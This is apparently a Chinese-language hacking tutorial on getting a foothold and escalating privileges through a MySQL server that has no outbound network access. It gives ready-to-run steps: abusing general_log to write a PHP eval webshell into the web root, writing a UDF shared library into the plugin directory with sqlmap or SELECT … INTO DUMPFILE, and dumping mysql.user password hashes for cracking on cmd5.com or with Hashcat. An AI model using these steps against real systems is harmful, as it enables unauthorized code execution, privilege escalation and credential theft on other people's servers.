MySQL不出网文件落地上线
第一步 判断环境
1、查看MySQL版本
show variables like '%version%';
select version(); #这个只显示MySQL版本号
2、查看load_file() 开启
即 secure_file_priv 无限制
show variables like '%secure%'; #这条可查看详细信息
show global variables like '%secure_file_priv%';
| Value | 说明 | 注意 | |:----------------------|:----------------------------------|--------------------------------------------------------| | NULL | 不允许导入或导出 | 在 MySQL 5.5 之前 secure_file_priv 默认是空,这个情况下可以向任意绝对路径写文件 | | /var/lib/mysql-files/ | 只允许在 /var/lib/mysql-files/ 目录导入导出 | 在 MySQL 5.5之后 secure_file_priv 默认是 NULL,这个情况下不可以写文件 | | 空 | 不限制目录 | |
而这个MySQL数据库,只允许在/var/lib/mysql-files/这个目录导入导出
3、查看日志功能是否开启和对应目录
MySQL 5.0 版本以上会创建日志文件,可以通过修改日志的全局变量来 Getshell
SHOW VARIABLES LIKE 'general%';
注:general_log
默认是关闭的,开启它可以记录用户输入的每条命令,会把其保存在对应的日志文件中
开启日志功能
set global general_log = "ON";
set global general_log_file='/var/www/html/test.php'; #可以写入WebShell然后直接连接蚁剑
# 往日志里面写入 WebShell
select '<?php @eval($_POST['AabyssTeam']);?>';
# 此时已经写到 test.php 文件当中了,注意这个要知道网站的具体路径才可以实现
4、寻找插件目录(UDF提权摸排)
如果是 MySQL >= 5.1 的版本,必须把 UDF 动态链接库文件放置于 MySQL 安装目录下的 lib\plugin
文件夹下,才能创建自定义函数
动态链接库文件获取
在我们常用的工具 SqlMap 和 Metasploit 里面都自带了对应系统的动态链接库文件
SqlMap:工具根目录/data/udf/mysql
注: SqlMap 自带的动态链接库为防止被误杀,都经过编码处理,不能被直接使用
不过可以利用 SqlMap 自带的解码工具 cloak.py
来解码使用,cloak.py
的位置为:工具根目录/extra/cloak/cloak.py
Metasploit:工具根目录/embedded/framework/data/exploits/mysql
注:动态链接库就是实现共享函数库概念的一种方式,在Windows环境下后缀名为 .dll
,在Linux环境下后缀名为 .so
接下来的任务是把 UDF 动态链接库文件放到 MySQL 的插件目录下,可以使用如下的 SQL 语句来查询:
show variables like '%plugin%';
第二步 MySQL提权
写入动态链接库
写入动态链接库可以分为下面几种情形:
- 存在SQL 注入且是高权限
- plugin(插件) 目录可写且需要
secure_file_priv
无限制 - MySQL 插件目录可以被 MySQL 用户写入
1、存在SQL注入
这个时候就可以直接使用 SqlMap 来上传动态链接库
注:因为 GET 有字节长度限制,所以往往使用 POST 注入来写入
sqlmap -u "http://Web服务的URL" --data="id=注入点" --file-write="根据本地的文件目录来写/lib_mysqludf_sys_64.so" --file-dest="/usr/lib64/mysql/plugin/(上面探测出来的插件目录)udf.so"
2、不存在SQL注入
就像我举的例子一样,没有Web服务,只有一个Java应用怎么办?
我们可以使用 SQL 语句执行写入,前提是 secure_file_priv
无限制,可以手工写文件到 plugin 目录下
# 直接 SELECT 查询十六进制写入
SELECT 0x(通过16进制转换后的动态链接库字符串) INTO DUMPFILE '/usr/lib64/mysql/plugin/udf.so';
# 解码十六进制再写入多此一举
SELECT unhex('(通过16进制转换后的动态链接库字符串)') INTO DUMPFILE '/usr/lib64/mysql/plugin/udf.so';
当出现这个报错的时候:
由于 secure-file-priv
变量的默认设置为 /var/lib/mysql-files/
引起的,该值意味着只能导出到指定目录下,否则会报错
小技巧:获取MySQL账户和对应密码Hash
# MySQL <= 5.6 版本
select host, user, password from mysql.user;
# MySQL >= 5.7 版本
select host,user,authentication_string from mysql.user;
直接丢到在线网站 https://www.cmd5.com/ 解密
直接可以解密了密码,解密不出来就用Hashcat跑就行了